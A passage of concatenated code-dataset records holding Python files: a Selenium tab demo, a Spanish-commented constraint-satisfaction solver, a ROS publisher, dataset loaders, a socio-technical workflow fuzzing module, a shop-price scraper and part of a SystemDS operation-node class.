'Ruis'\n__date__ = '2018/10/15 下午11:15'\n\n# 在访问网页的时候,会开启一个个选项卡。在Selenium 中,我们也可��对选项卡进行操作\n\nimport time\nfrom selenium import webdriver\n\nbrowser = webdriver.Chrome()\nbrowser.get('https://www.baidu.com')\nbrowser.execute_script('window.open()')\nprint(browser.window_handles)\nbrowser.switch_to.window(browser.window_handles[1]) # 使用新方法替换旧方法 use driver.switch_to.window 替换switch_to_window\nbrowser.get('https://taobao.com')\ntime.sleep(1)\nbrowser.switch_to.window(browser.window_handles[0])\nbrowser.get('https://ruisfree.com')\n\n# 首先访问了百度,然后调用了execute_script方法,这里传入window.open()这个JavaScript 语\n# 句新开启一个选项卡。接下来,我们想切换到该选项卡。这里调用window handles 属性获取当前开启\n# 的所有选项卡,返回的是选项卡的代号列表。要想切换选项卡,只需要调用switch_to.window() 方法\n# 即可,其中参数是选项卡的代号。这里我们将第二个选项卡代号传人,即跳转到第二个选项卡,接下\n# 来在第二个选项卡下打开一个新页面,然后切换回第一个选项卡重新调用switch_window()方法,\n","sub_path":"7.1Selenium/7.1.12选项卡管理.py","file_name":"7.1.12选项卡管理.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"328259254","text":"import random\r\nfrom copy import deepcopy, copy\r\nfrom itertools import product\r\n\r\nfrom busquedas_02 import argmin, argmax\r\n\r\nfrom operator import itemgetter\r\n\r\n\r\n__all__ = ['todos_los_arcos', 'revisar', 'arco_consistencia_3']\r\n\r\nfst = itemgetter(0)\r\n\r\n\r\ndef revisar(dominios, arco, restricciones):\r\n \"\"\"\r\n Dado el arco X, Y (variables), elimina los valores del dominio de X \r\n que no cumplen la restricción entre X e Y.\r\n\r\n Es decir, dado x1 en el dominio de X, x1 se eliminará del dominio, \r\n si no hay ningún valor y en el dominio de Y que haga que la restricción (X, Y) sea verdadera, \r\n para aquellas restricciones que afectan a X e Y.\r\n \"\"\"\r\n x, y = arco\r\n restricciones_relacionadas = [(vecinos, restriccion)\r\n for vecinos, restriccion in restricciones\r\n if set(arco) == set(vecinos)]\r\n\r\n modificado = False\r\n\r\n for vecinos, restriccion in restricciones_relacionadas:\r\n for x_valor in dominios[x]:\r\n resultados_restriccion = (_llamar_restriccion({x: x_valor, y: y_valor},\r\n vecinos, restriccion)\r\n for y_valor in dominios[y])\r\n\r\n if not any(resultados_restriccion):\r\n dominios[x].remove(x_valor)\r\n modificado = True\r\n\r\n return modificado\r\n\r\n\r\ndef todos_los_arcos(restricciones):\r\n \"\"\"\r\n For each restriccion ((X, Y), const) adds:\r\n ((X, Y), const)\r\n ((Y, X), const)\r\n \"\"\"\r\n arcos = set()\r\n\r\n for vecinos, restriccion in restricciones:\r\n if len(vecinos) == 2:\r\n x, y = vecinos\r\n list(map(arcos.add, ((x, y), (y, x))))\r\n\r\n return arcos\r\n\r\ndef arco_consistencia_3(dominios, restricciones):\r\n \"\"\"\r\n Hace que un problema de PSR sea consistente en arco.\r\n Ignora cualquier restricción que no sea binaria.\r\n \"\"\"\r\n arcos = list(todos_los_arcos(restricciones))\r\n arcos_pendientes = set(arcos)\r\n\r\n while arcos_pendientes:\r\n x, y = arcos_pendientes.pop()\r\n if revisar(dominios, (x, y), restricciones):\r\n if len(dominios[x]) == 0:\r\n return False\r\n arcos_pendientes = arcos_pendientes.union((x2, y2) for x2, y2 in arcos\r\n if y2 == x)\r\n return True\r\n\r\n\r\nclass ProblemaPSR(object):\r\n def __init__(self, variables, dominios, restricciones):\r\n self.variables = variables\r\n self.dominios = dominios\r\n self.restricciones = restricciones\r\n\r\n # Diccionario de restricciones basadas en variables\r\n self.var_restricciones = dict([(v, [restriccion\r\n for restriccion in restricciones\r\n if v in restriccion[0]])\r\n for v in variables])\r\n\r\n # Calcular el grado de cada variable\r\n self.var_grados = dict([(v, len(self.var_restricciones[v]))\r\n for v in variables])\r\n\r\n\r\nVARIABLE_MAS_RESTRINGIDA = 'mcv'\r\nVARIABLE_GRADO_MAS_ALTO = 'degree'\r\nVALOR_MENOS_RESTRINGIDO = 'lvc'\r\n\r\n\r\ndef backtrack(problema, variable_heuristica='', valor_heuristico='', inferencia=True):\r\n '''\r\n Busqueda backtracking (vuelta atrás).\r\n\r\n variable_heuristica es la heuristica elegida para una variable, puede ser\r\n VARIABLE_MAS_RESTRINGIDA, VARIABLE_GRADO_MAS_ALTO, or vacia para una simple eleccion ordenada.\r\n valor_heuristico es el valor heuristico elegido, pude ser\r\n VALOR_MENOS_RESTRINGIDO or vacio para una simple eleccion ordenada.\r\n '''\r\n asignacion = {}\r\n dominios = deepcopy(problema.dominios)\r\n\r\n if variable_heuristica == VARIABLE_MAS_RESTRINGIDA:\r\n selector_variable = _selector_variable_mas_restringida\r\n elif variable_heuristica == VARIABLE_GRADO_MAS_ALTO:\r\n selector_variable = _selector_variable_mayor_grado\r\n else:\r\n selector_variable = _selector_variable_basico\r\n\r\n if valor_heuristico == VALOR_MENOS_RESTRINGIDO:\r\n clasificador_valores = _clasificador_valores_menos_restrictivos\r\n else:\r\n clasificador_valores = _clasificador_valores_basico\r\n return _backtracking(problema,\r\n asignacion,\r\n dominios,\r\n selector_variable,\r\n clasificador_valores,\r\n inferencia=inferencia)\r\n\r\n\r\ndef _selector_variable_basico(problema, variables, dominios):\r\n '''\r\n Selecciona la siguiente variable en orden.\r\n '''\r\n return variables[0]\r\n\r\n\r\ndef _selector_variable_mas_restringida(problema, variables, dominios):\r\n '''\r\n Elija la variable que tenga menos valores disponibles.\r\n '''\r\n # variable con menos valores disponibles\r\n return sorted(variables, key=lambda v: len(dominios[v]))[0]\r\n\r\n\r\ndef _selector_variable_mayor_grado(problema, variables, dominios):\r\n '''\r\n Elija la variable que está involucrada en más restricciones.\r\n '''\r\n # variable involucrada en más restricciones\r\n return sorted(variables, key=lambda v: problema.var_grados[v], reverse=True)[0]\r\n\r\n\r\ndef _contar_conflictos(problema, asignacion, variable=None, valor=None):\r\n '''\r\n Cuenta el número de restricciones no cumplidas en una asignación dada.\r\n '''\r\n return len(_encontrar_conflictos(problema, asignacion, variable, valor))\r\n\r\n\r\ndef _llamar_restriccion(asignacion, vecinos, restriccion):\r\n variables, valores = zip(*[(n, asignacion[n]) for n in vecinos])\r\n return restriccion(variables, valores)\r\n\r\ndef _encontrar_conflictos(problema, asignacion, variable=None, valor=None):\r\n '''\r\n Encuentre restricciones no cumplidas en una asignación dada, con la posibilidad de especificar\r\n una nueva variable y valor para agregar a la asignación antes de verificar.\r\n '''\r\n if variable is not None and valor is not None:\r\n asignacion = deepcopy(asignacion)\r\n asignacion[variable] = valor\r\n\r\n conflictos = []\r\n for vecinos, restriccion in problema.restricciones:\r\n # Si todos los vecinos en la restricción tienen valores, verifica si es conflicto\r\n if all(n in asignacion for n in vecinos):\r\n if not _llamar_restriccion(asignacion, vecinos, restriccion):\r\n conflictos.append((vecinos, restriccion))\r\n\r\n return conflictos\r\n\r\ndef _clasificador_valores_basico(problema, asignacion, variable, dominios):\r\n '''\r\n Ordenar valores en el mismo orden original.\r\n '''\r\n return dominios[variable][:]\r\n\r\n\r\ndef _clasificador_valores_menos_restrictivos(problema, asignacion, variable, dominios):\r\n '''\r\n Ordena los valores en función de cuántos conflictos generan si se asignan.\r\n '''\r\n # valor que genera menos conflictos\r\n def actualizar_asignacion(valor):\r\n nueva_asignacion = deepcopy(asignacion)\r\n nueva_asignacion[variable] = valor\r\n return nueva_asignacion\r\n\r\n valores = sorted(dominios[variable][:],\r\n key=lambda v: _contar_conflictos(problema, asignacion,\r\n variable, v))\r\n return valores\r\n\r\ndef _backtracking(problema, asignacion, dominios, selector_variable, clasificador_valores, inferencia=True):\r\n '''\r\n Algoritmo de seguimiento recursivo interno.\r\n '''\r\n if len(asignacion) == len(problema.variables):\r\n return asignacion\r\n\r\n pendiente = [v for v in problema.variables if v not in asignacion]\r\n variable = selector_variable(problema, pendiente, dominios)\r\n valores = clasificador_valores(problema, asignacion, variable, dominios)\r\n\r\n for valor in valores:\r\n nueva_asignacion = deepcopy(asignacion)\r\n nueva_asignacion[variable] = valor\r\n\r\n if not _contar_conflictos(problema, nueva_asignacion): \r\n nuevos_dominios = deepcopy(dominios)\r\n nuevos_dominios[variable] = [valor]\r\n\r\n if not inferencia or arco_consistencia_3(nuevos_dominios, problema.restricciones):\r\n resultado = _backtracking(problema,\r\n nueva_asignacion,\r\n nuevos_dominios,\r\n selector_variable,\r\n clasificador_valores,\r\n inferencia=inferencia)\r\n if resultado:\r\n return resultado\r\n\r\n return None\r\n\r\n\r\ndef _valor_conflictos_minimos(problema, asignacion, variable):\r\n '''\r\n Devolver el valor que genera el menor número de conflictos..\r\n En caso de empate, se selecciona un valor aleatorio entre este subconjunto de valores.\r\n '''\r\n return argmin(problema.dominios[variable], lambda x: _contar_conflictos(problema, asignacion, variable, x))\r\n\r\n\r\ndef minimo_conflictos(problema, asignacion_inicial=None, limite_iteraciones=0):\r\n \"\"\"\r\n Busca minimo de conflictos.\r\n\r\n asignacion_inicial, la asignación inicial, o None para generar una aleatoria.\r\n Si se especifica limite_iteraciones, el algoritmo finalizará después de ese número de iteraciones.\r\n De lo contrario, continuará hasta que encuentre una asignación que no genere conflictos (una solución).\r\n \"\"\"\r\n asignacion = {}\r\n if asignacion_inicial:\r\n asignacion.update(asignacion_inicial)\r\n else:\r\n for variable in problema.variables:\r\n valor = _valor_conflictos_minimos(problema, asignacion, variable)\r\n asignacion[variable] = valor\r\n\r\n iteracion = 0\r\n ejecutar = True\r\n while ejecutar:\r\n conflictos = _encontrar_conflictos(problema, asignacion)\r\n\r\n variables_conflicto = [v for v in problema.variables\r\n if any(v in conflicto[0] for conflicto in conflictos)]\r\n\r\n if variables_conflicto:\r\n variable = random.choice(variables_conflicto)\r\n valor = _valor_conflictos_minimos(problema, asignacion, variable)\r\n asignacion[variable] = valor\r\n\r\n iteracion += 1\r\n\r\n if limite_iteraciones and iteracion >= limite_iteraciones:\r\n ejecutar = False\r\n elif not _contar_conflictos(problema, asignacion):\r\n ejecutar = False\r\n\r\n return asignacion\r\n\r\n\r\ndef convertir_a_binario(variables, dominios, restricciones):\r\n \"\"\"\r\n Devuelve una nueva lista de restricciones, todas binarias, usando variables ocultas.\r\n Puede usarlo como paso anterior al crear un problema.\r\n \"\"\"\r\n\r\n def wdiff(vars_):\r\n def diff(variables, valores):\r\n ocultas, otra = variables\r\n if ocultas.startswith('ocultas'):\r\n idx = vars_.index(otra)\r\n return valores[1] == valores[0][idx]\r\n else:\r\n idx = vars_.index(ocultas)\r\n return valores[0] == valores[1][idx]\r\n diff.no_wrap = True # para que no esté envuelto para intercambiar valores\r\n return diff\r\n\r\n nuevas_restricciones = []\r\n nuevos_dominios = copy(dominios)\r\n nuevas_variables = list(variables)\r\n ultimo = 0\r\n\r\n for vars_, const in restricciones:\r\n if len(vars_) == 2:\r\n nuevas_restricciones.append((vars_, const))\r\n continue\r\n\r\n ocultas = 'ocultas%d' % ultimo\r\n nuevas_variables.append(ocultas)\r\n ultimo += 1\r\n nuevos_dominios[ocultas] = [t for t in product(*map(dominios.get, vars_)) if const(vars_, t)]\r\n for var in vars_:\r\n nuevas_restricciones.append(((ocultas, var), wdiff(vars_)))\r\n return nuevas_variables, nuevos_dominios, nuevas_restricciones\r\n","sub_path":"PSR.py","file_name":"PSR.py","file_ext":"py","file_size_in_byte":11649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"60816990","text":"\nimport sys\n\nimport rospy\nfrom rospy_tutorials.msg import HeaderString\n\nNAME = 'talker_header'\n\ndef talker_header():\n pub = rospy.Publisher(\"chatter_header\", HeaderString, queue_size=10)\n\n rospy.init_node(NAME) #blocks until registered with master\n count = 0\n while not rospy.is_shutdown():\n str = 'hello world %s'%count\n print (str)\n # If None is used as the header value, rospy will automatically\n # fill it in.\n pub.publish(HeaderString(None, str))\n count += 1\n rospy.sleep(0.1)\n \nif __name__ == '__main__':\n talker_header()\n\n","sub_path":"Ros/Phase2/B2lly_Ws/install/my_package/lib/python3.6/site-packages/my_package/talker_header.py","file_name":"talker_header.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"417735894","text":"from .utils import *\n\nfilepath,_ = os.path.split(os.path.realpath(__file__))\nfilepath,_ = os.path.split(filepath)\nfilepath,_ = os.path.split(filepath)\n\n\n# Set the appropriate paths of the datasets here.\n_CIFAR_FS_DATASET_DIR = 'data/CIFAR-FS/'\n\n\nclass CIFAR_FS(ProtoData):\n def __init__(self, phase='train', augment='null', rot90_p=0., batch_size_down=8e4):\n\n assert (phase == 'train' or phase == 'final' or phase == 'val' or phase == 'test')\n self.phase = phase\n self.name = 'CIFAR_FS_' + phase\n self.img_size = (32, 32)\n\n print('Loading CIFAR-FS dataset - phase {0}'.format(phase))\n file_train_categories_train_phase = os.path.join(\n _CIFAR_FS_DATASET_DIR,\n 'CIFAR_FS_train.pickle')\n file_val_categories_val_phase = os.path.join(\n _CIFAR_FS_DATASET_DIR,\n 'CIFAR_FS_val.pickle')\n file_test_categories_test_phase = os.path.join(\n _CIFAR_FS_DATASET_DIR,\n 'CIFAR_FS_test.pickle')\n\n if self.phase == 'train':\n # During training phase we only load the training phase images\n # of the training categories (aka base categories).\n data = load_data(file_train_categories_train_phase)\n elif self.phase == 'val':\n data = load_data(file_val_categories_val_phase)\n elif self.phase == 'test':\n data = load_data(file_test_categories_test_phase)\n else:\n raise ValueError('Not valid phase {0}'.format(self.phase))\n\n self.data = data['data']\n self.labels = data['labels']\n\n self.label2ind = buildLabelIndex(self.labels)\n self.labelIds = sorted(self.label2ind.keys())\n\n self.num_cats = len(self.labelIds)\n\n mean_pix = [x / 255.0 for x in [129.37731888, 124.10583864, 112.47758569]]\n std_pix = [x / 255.0 for x in [68.20947949, 65.43124043, 70.45866994]]\n normalize = transforms.Normalize(mean=mean_pix, std=std_pix)\n\n self.augment = 'null' if self.phase == 'test' or self.phase == 'val' else augment\n if self.augment == 'null':\n self.transform = transforms.Compose([\n transforms.ToTensor(),\n normalize\n ])\n elif self.augment == 'norm':\n self.transform = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.ColorJitter(brightness=0.4, contrast=0.4, saturation=0.4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize\n ])\n\n def __getitem__(self, index):\n img, label = self.data[index], self.labels[index]\n # doing this so that it is consistent with all other datasets\n # to return a PIL Image\n img = Image.fromarray(img)\n if self.transform is not None:\n img = self.transform(img)\n return img, label\n\n def __len__(self):\n return len(self.data)\n\n @property\n def dataset_dir(self):\n return _CIFAR_FS_DATASET_DIR\n\n def __repr__(self):\n string = self.__class__.__name__ + '(' \\\n + 'phase=' + str(self.phase) + ', ' \\\n + 'augment=' + str(self.augment)\n if self.augment == 'w_rot90':\n string += ', ' + str(self.rot90)\n string += ')'\n return string\n","sub_path":"metadatas/CIFAR_FS.py","file_name":"CIFAR_FS.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"544106072","text":"import pandas as pd\nimport numpy as np\nimport math\n\n\nclass ParseData:\n def __init__(self):\n pass\n\n def get_Data(self):\n train_df = pd.read_csv(\"training.csv\", skiprows=700, nrows=700, sep=\",\", usecols=[21, 20, 30])\n test_df = pd.read_csv(\"training.csv\", skiprows=700, nrows=300, sep=\",\", usecols=[21, 20, 30])\n return train_df, test_df\n\n def convert_to_image(self, x, y, img):\n words = img.split()\n results = list(map(float, words))\n x1_new = np.array(results)\n x1 = x1_new.reshape(96, 96)\n x2 = x1[24:74, 24:74]\n\n landmark1 = [0, 0]\n if math.isnan(x) or math.isnan(y):\n return x2, landmark1\n else:\n landmark = [int(x) - 24, int(y) - 24]\n return x2, landmark\n\n def transform(self, train_df, test_df):\n train_images, train_landmarks = zip(\n *[self.convert_to_image(row[0], row[1], row[2]) for index, row in train_df.iterrows()])\n test_images, test_landmarks = zip(\n *[self.convert_to_image(row[0], row[1], row[2]) for index, row in test_df.iterrows()])\n\n return train_images, test_images, train_landmarks, test_landmarks\n\n","sub_path":"ParseData.py","file_name":"ParseData.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"651105508","text":"class User:\r\n def __init__(self,name):\r\n self.name = name\r\n self.account_balance = 0\r\n\r\n def make_deposit(self, amount):\r\n self.account_balance += amount\r\n \r\n def make_withdrawal(self,amount):\r\n self.account_balance -= amount\r\n \r\n def display_user_balance(self):\r\n print((f\"I am {self.name} and my balance is ${self.account_balance}\"))\r\n \r\n def transfer_money(self,other_user,amount):\r\n print(f\"Transfer success. {self.name} has transfered {amount} to {other_user.name}'s account\")\r\n self.account_balance -= amount\r\n other_user.account_balance += amount\r\n \r\n\r\nfirst_user = User(\"first_user\")\r\nsecond_user = User(\"second_user\")\r\nthird_user = User(\"third_user\")\r\n\r\nfirst_user.make_deposit(2000)\r\nfirst_user.make_deposit(2500)\r\nfirst_user.make_deposit(3000)\r\nfirst_user.make_withdrawal(5000)\r\nfirst_user.display_user_balance()\r\n\r\nsecond_user.make_deposit(1000)\r\nsecond_user.make_deposit(1200)\r\nsecond_user.make_withdrawal(800)\r\nsecond_user.make_withdrawal(500)\r\nsecond_user.display_user_balance()\r\n\r\nthird_user.make_deposit(5000)\r\nthird_user.make_withdrawal(1000)\r\nthird_user.make_withdrawal(500)\r\nthird_user.make_withdrawal(2000)\r\nthird_user.display_user_balance()\r\n\r\nfirst_user.transfer_money(third_user, 1000)\r\nfirst_user.display_user_balance()\r\nthird_user.display_user_balance()\r\n ","sub_path":"Assignments/user/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"344687243","text":"\"\"\"\nSocio-technical fuzzers describe high level causes of variance in socio-technical fuzzers that can be built from the\ncore fuzzers library.\n@author twsswt\n\"\"\"\n\nimport ast\nimport inspect\nimport sys\n\nfrom threading import Lock\n\nfrom pydysofu.core_fuzzers import choose_last_steps, filter_context, filter_steps, recurse_into_nested_steps, \\\n replace_steps_with, in_sequence, include_control_structures, insert_steps\n\nfrom pydysofu.fuzz_weaver import get_reference_syntax_tree\n\n# Logging Machinery\n\n_lines_removed_lock = Lock()\nlines_removed_counters = dict()\n\n\ndef _update_lines_removed_counter(workflow, n):\n global _lines_removed_lock\n _lines_removed_lock.acquire()\n lines_removed_counters[workflow] = lines_removed_counters.get(workflow, 0) + n\n _lines_removed_lock.release()\n\n\ndef reset_lines_removed_counters():\n global lines_removed_counters\n lines_removed_counters = dict()\n\n\ndef lines_removed_count(workflow=None):\n filtered_values = \\\n filter(lambda t: t[0] == workflow, lines_removed_counters.items()) if workflow is not None \\\n else lines_removed_counters.items()\n\n return sum(map(lambda t: t[1], filtered_values))\n\n\ndef removable_lines_count(function):\n func = function if inspect.isfunction(function) else function.im_func\n\n _syntax_tree = get_reference_syntax_tree(func)\n\n def _recurse_count_steps_available_for_removal(steps):\n result = 0\n for step in steps:\n result += 1\n if type(step) in {ast.For, ast.While}:\n result += _recurse_count_steps_available_for_removal(step.body)\n elif type(step) in {ast.If}:\n result += _recurse_count_steps_available_for_removal(step.body)\n result += _recurse_count_steps_available_for_removal(step.orelse)\n elif type(step) in {ast.TryExcept}:\n result += _recurse_count_steps_available_for_removal(step.body)\n for handler in step.handlers:\n result += _recurse_count_steps_available_for_removal(handler.body)\n return result\n return _recurse_count_steps_available_for_removal(_syntax_tree.body[0].body)\n\n\n# Fuzzers and Filters\n\ndef apply_fuzzing_when_workflow_actors_name_is(name_fuzzer_pairings=list()):\n \"\"\"\n A filtering fuzzer for applying fuzzers selectively based on workflow actor names.\n \"\"\"\n\n def _workflow_actors_name_is(steps, context):\n\n fuzz_filters = [\n (lambda workflow: False if workflow.actor is None else workflow.actor.logical_name == nfp[0], nfp[1])\n for nfp in name_fuzzer_pairings\n ]\n\n filtering_fuzzer = filter_context(fuzz_filters)\n\n return filtering_fuzzer(steps, context)\n\n return _workflow_actors_name_is\n\n\ndef default_distracted_pmf(conscientiousness=1):\n \"\"\"\n Realises a 2-point PMF (True, False) that takes a duration and probability as parameters.\n \"\"\"\n def _default_distracted_probability_mass_function(duration, probability):\n threshold = 1.0 / (duration + 1) ** (1.0 / conscientiousness)\n return probability < threshold\n\n return _default_distracted_probability_mass_function\n\n\nclass IsDistracted(object):\n\n def __init__(self, clock, random, probability_mass_function):\n self.clock = clock\n self.random = random\n self.probability_mass_function = probability_mass_function\n\n self.start_tick = self.clock.current_tick\n\n def __call__(self):\n duration = self.clock.current_tick - self.start_tick\n return self.probability_mass_function(duration, self.random.uniform(0.0, 1.0))\n\n\ndef missed_target(random, pmf=default_distracted_pmf(2)):\n \"\"\"\n Creates a fuzzer that causes a workflow containing a while loop to be prematurely terminated before the condition\n in the reference function is satisfied. The binary probability distribution for continuing work is a function of\n the duration of the workflow, as measured by the supplied turn based clock.\n :param random: a random value source.\n :param pmf: a function that accepts a duration and returns a probability threshold for an\n actor to be distracted from a target.\n :return: the insufficient effort fuzz function.\n \"\"\"\n\n def _insufficient_effort(steps, context):\n\n break_insertion = \\\n 'if not self.is_distracted() : break'\n\n context.is_distracted = IsDistracted(context.actor.clock, random, pmf)\n\n fuzzer = \\\n recurse_into_nested_steps(\n fuzzer=filter_steps(\n fuzz_filter=include_control_structures(target={ast.While}),\n fuzzer=recurse_into_nested_steps(\n target_structures={ast.While},\n fuzzer=insert_steps(0, break_insertion),\n min_depth=1\n )\n ),\n min_depth=1\n )\n\n return fuzzer(steps, context)\n\n return _insufficient_effort\n\n\ndef default_incomplete_procedure_pmf(concentration=1.0):\n\n def _probability_distribution(remaining_time, probability):\n\n adjusted_probability = probability ** ((remaining_time + 1.0) * concentration)\n\n return sys.maxint if adjusted_probability == 1.0 else int(1.0 / (1.0 - adjusted_probability) - 1)\n\n return _probability_distribution\n\n\ndef incomplete_procedure(random, pmf=default_incomplete_procedure_pmf()):\n \"\"\"\n Creates a fuzzer that causes a workflow to be truncated. The provided discrete probability distribution defines\n the number of steps to be removed. By default, the distribution removes no steps.\n :param random : a random value source for generating a uniform random distribution.\n :param pmf: A function that accepts a maximum number of steps, a remaining time and a\n probability and returns an integer number of steps to be removed.\n :return: the underlying fuzzer.\n \"\"\"\n\n def _incomplete_procedure(steps, context):\n clock = context.actor.clock\n remaining_time = clock.max_ticks - clock.current_tick\n\n probability = random.uniform(0.0, 0.9999)\n\n n = pmf(remaining_time, probability)\n\n choose_last_steps_fuzzer = choose_last_steps(n, False)\n\n fuzzer = in_sequence(\n [\n recurse_into_nested_steps(\n target_structures={ast.While, ast.For, ast.TryExcept},\n fuzzer=filter_steps(\n choose_last_steps_fuzzer,\n replace_steps_with(replacement='self.actor.idling.idle()')\n )\n )\n ]\n )\n\n result = fuzzer(steps, context)\n _update_lines_removed_counter(context.__class__, n - choose_last_steps_fuzzer.n)\n return result\n\n return _incomplete_procedure\n\n\ndef decision_mistake():\n # TODO\n pass\n\n\ndef become_muddled():\n # TODO\n pass\n","sub_path":"fuzzi_moss/socio_technical_fuzzers.py","file_name":"socio_technical_fuzzers.py","file_ext":"py","file_size_in_byte":6893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"20228964","text":"\n\nfrom xai.brain.wordbase.verbs._overburden import _OVERBURDEN\n\n#calss header\nclass _OVERBURDENING(_OVERBURDEN, ):\n\tdef __init__(self,): \n\t\t_OVERBURDEN.__init__(self)\n\t\tself.name = \"OVERBURDENING\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"overburden\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_overburdening.py","file_name":"_overburdening.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"66676417","text":"from urllib.parse import quote_plus\nfrom bs4 import BeautifulSoup\nimport requests\n\nBANGGOOD_URL = \"https://www.banggood.com/search/{}.html\"\nTAYDA_URL = \"https://www.taydaelectronics.com/catalogsearch/result/?q={}\"\n\n\ndef get_results(search):\n results = get_banggood_results(search)+get_tayda_results(search)\n results.sort(key=lambda result: result[\"price\"])\n return results\n\n\ndef get_banggood_results(search):\n query = \"\"\n for c in search:\n if c.isalnum():\n query += c\n else:\n query += \"-\"\n url = BANGGOOD_URL.format(query)\n content = requests.get(url).content\n soup = BeautifulSoup(content, \"lxml\")\n items = soup.find(class_=\"goodlist_1\")\n results = []\n for item in items.find_all(\"li\"):\n title = item.find(class_=\"title\").find(\"a\").attrs[\"title\"]\n url = item.find(class_=\"title\").find(\"a\").attrs[\"href\"]\n image = item.find(class_=\"img\").find(\n class_=\"bg_lazy\").attrs[\"data-original\"]\n\n price = float(item.find(class_=\"price\").attrs[\"oriprice\"])\n results.append({\"title\": title, \"image\": image,\n \"price\": price, \"url\": url, \"source\": \"banggood\"})\n return results\n\n\ndef get_tayda_results(search):\n url = TAYDA_URL.format(quote_plus(search))\n content = requests.get(url).content\n soup = BeautifulSoup(content, \"lxml\")\n items = soup.find(id=\"products-list\")\n results = []\n if items is None:\n return []\n for item in items.find_all(class_=\"item\"):\n title = item.find(class_=\"product-name\").find(\"a\").attrs[\"title\"]\n url = item.find(class_=\"product-name\").find(\"a\").attrs[\"href\"]\n image = item.find(class_=\"product-image\").find(\n \"img\").attrs[\"src\"].replace(\"small_image/104x104\", \"image/500x500\")\n price = float(item.find(class_=\"price\").string.strip(\"$\"))\n results.append({\"title\": title, \"image\": image,\n \"price\": price, \"url\": url, \"source\": \"tayda\"})\n return results\n","sub_path":"Dragonfly/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"2223775","text":"# -------------------------------------------------------------\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# -------------------------------------------------------------\n\nfrom multiprocessing import Process\nfrom typing import (TYPE_CHECKING, Dict, Iterable, Optional, Sequence, Tuple,\n Union)\n\nimport numpy as np\nfrom py4j.java_gateway import JavaObject, JVMView\nfrom systemds.script_building.dag import DAGNode, OutputType\nfrom systemds.script_building.script import DMLScript\nfrom systemds.utils.consts import (BINARY_OPERATIONS, VALID_ARITHMETIC_TYPES,\n VALID_INPUT_TYPES)\nfrom systemds.utils.helpers import create_params_string\n\nif TYPE_CHECKING:\n # to avoid cyclic dependencies during runtime\n from systemds.context import SystemDSContext\n\n\nclass OperationNode(DAGNode):\n \"\"\"A Node representing an operation in SystemDS\"\"\"\n\n _result_var: Optional[Union[float, np.array]]\n _lineage_trace: Optional[str]\n _script: Optional[DMLScript]\n _output_types: Optional[Iterable[VALID_INPUT_TYPES]]\n _source_node: Optional[\"DAGNode\"]\n _brackets: bool\n\n def __init__(self, sds_context: 'SystemDSContext', operation: str,\n unnamed_input_nodes: Union[str,\n Iterable[VALID_INPUT_TYPES]] = None,\n named_input_nodes: Dict[str, VALID_INPUT_TYPES] = None,\n output_type: OutputType = OutputType.MATRIX,\n is_python_local_data: bool = False,\n brackets: bool = False):\n \"\"\"\n Create general `OperationNode`\n\n :param sds_context: The SystemDS context for performing the operations\n :param operation: The name of the DML function to execute\n :param unnamed_input_nodes: inputs identified by their position, not name\n :param named_input_nodes: inputs with their respective parameter name\n :param output_type: type of the output in DML (double, matrix etc.)\n :param is_python_local_data: if the data is local in python e.g. Numpy arrays\n :param number_of_outputs: If set to other value than 1 then it is expected\n that this operation node returns multiple values. If set remember to set the output_types value as well.\n :param output_types: The types of output in a multi output scenario.\n Default is None, and means every multi output is a matrix.\n \"\"\"\n self.sds_context = sds_context\n if unnamed_input_nodes is None:\n unnamed_input_nodes = []\n if named_input_nodes is None:\n named_input_nodes = {}\n self.operation = operation\n self._unnamed_input_nodes = unnamed_input_nodes\n self._named_input_nodes = named_input_nodes\n self._output_type = output_type\n self._is_python_local_data = is_python_local_data\n self._result_var = None\n self._lineage_trace = None\n self._script = None\n self._source_node = None\n self._already_added = False\n self._brackets = brackets\n self.dml_name = \"\"\n\n def compute(self, verbose: bool = False, lineage: bool = False) -> \\\n Union[float, np.array, Tuple[Union[float, np.array], str]]:\n\n if self._result_var is None or self._lineage_trace is None:\n self._script = DMLScript(self.sds_context)\n self._script.build_code(self)\n if verbose:\n print(\"SCRIPT:\")\n print(self._script.dml_script)\n\n if lineage:\n result_variables, self._lineage_trace = self._script.execute_with_lineage()\n else:\n result_variables = self._script.execute()\n\n self.sds_context._execution_completed(self._script)\n\n if result_variables is not None:\n self._result_var = self._parse_output_result_variables(\n result_variables)\n\n if verbose:\n for x in self.sds_context.get_stdout():\n print(x)\n for y in self.sds_context.get_stderr():\n print(y)\n\n self._script.clear(self)\n if lineage:\n return self._result_var, self._lineage_trace\n else:\n return self._result_var\n\n def _parse_output_result_variables(self, result_variables):\n if self._output_type == None or 